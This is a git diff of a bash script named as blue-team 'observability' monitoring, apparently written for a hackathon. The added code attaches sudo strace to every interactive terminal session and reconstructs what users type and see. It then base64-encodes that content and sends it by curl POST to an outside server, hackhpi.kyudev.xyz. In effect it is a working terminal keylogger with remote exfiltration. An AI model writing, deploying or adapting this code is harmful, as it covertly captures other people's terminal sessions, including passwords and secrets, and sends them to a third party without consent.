Whatever

blueteam_observability/mon.sh

@@ -1,21 +1,12 @@
 #!/usr/bin/env bash
 
-#Requires sudo, strace and GNU grep
+BUFFER=buf.txt
+STDOUT=0
 
-echo "<START>"
-
-sudo strace       \
-  -e trace=write  \
-  -s 1000         \
-  -f              \
-  $(ps u                       |
-    grep pts                   |
-    grep Ss                    |
-    grep -v grep               |
-    awk '{print "-p " $2 " "}' |
-    xargs)        \
- 2>&1             |
+# Requires sudo, strace and GNU grep
 
+get-char () {
+  cat /dev/stdin  |
   grep            \
   --line-buffered \
   -o '".*[^"]"'   |
@@ -27,5 +18,47 @@ sudo strace       \
 while IFS="" read -r char; do
   printf '%b' "$char"
 done
+}
 
-echo "<END>"
+write-buffer () {
+  buffer="${1}"
+  cat /dev/stdin >> "${buffer}"
+}
+
+clear-buffer () {
+  buffer="${1}"
+  : > "${buffer}"
+}
+
+send-buffer () {
+  buffer="${1}"
+  content="$(cat "${BUFFER}" | xxd -ps -c0 | sed -e 's/\(0d\)\?1b5b3f323030346\(8\|c\)//g' -e 's/0d$//g' -e 's/^24//g' | xxd -ps -c0 -r | base64 -w0)"
+  curl -sL https://hackhpi.kyudev.xyz/api/blue -X POST -H "Content-Type: application/json" -d "{\"data\": \"${content}\", \"timestamp\": \"$(date +%s)\"}" 1>/dev/null
+  clear-buffer "${BUFFER}"
+}
+
+delete-buffer () {
+  buffer="${1}"
+  rm -f "${buffer}"
+}
+
+clear-buffer "${BUFFER}"
+sudo strace       \
+  -e trace=write  \
+  -s 1000         \
+  $(ps u                       |
+    grep pts                   |
+    grep Ss                    |
+    grep -v grep               |
+    awk '{print "-p " $2 " "}' |
+    xargs)        \
+ 2>&1             |
+while IFS="" read -r line; do
+  fd="$(printf '%s' "${line}" | grep -o 'write(.' | tail -c 2 | head -c 1)"
+  if [ "${fd}" = "1" ] || [ ! "${line}" = "${line//SIGCHLD/}" ]; then
+    send-buffer "${BUFFER}"
+  else
+    printf '%s\n' "${line}" | get-char | write-buffer "${BUFFER}"
+  fi
+done
+delete-buffer "${BUFFER}"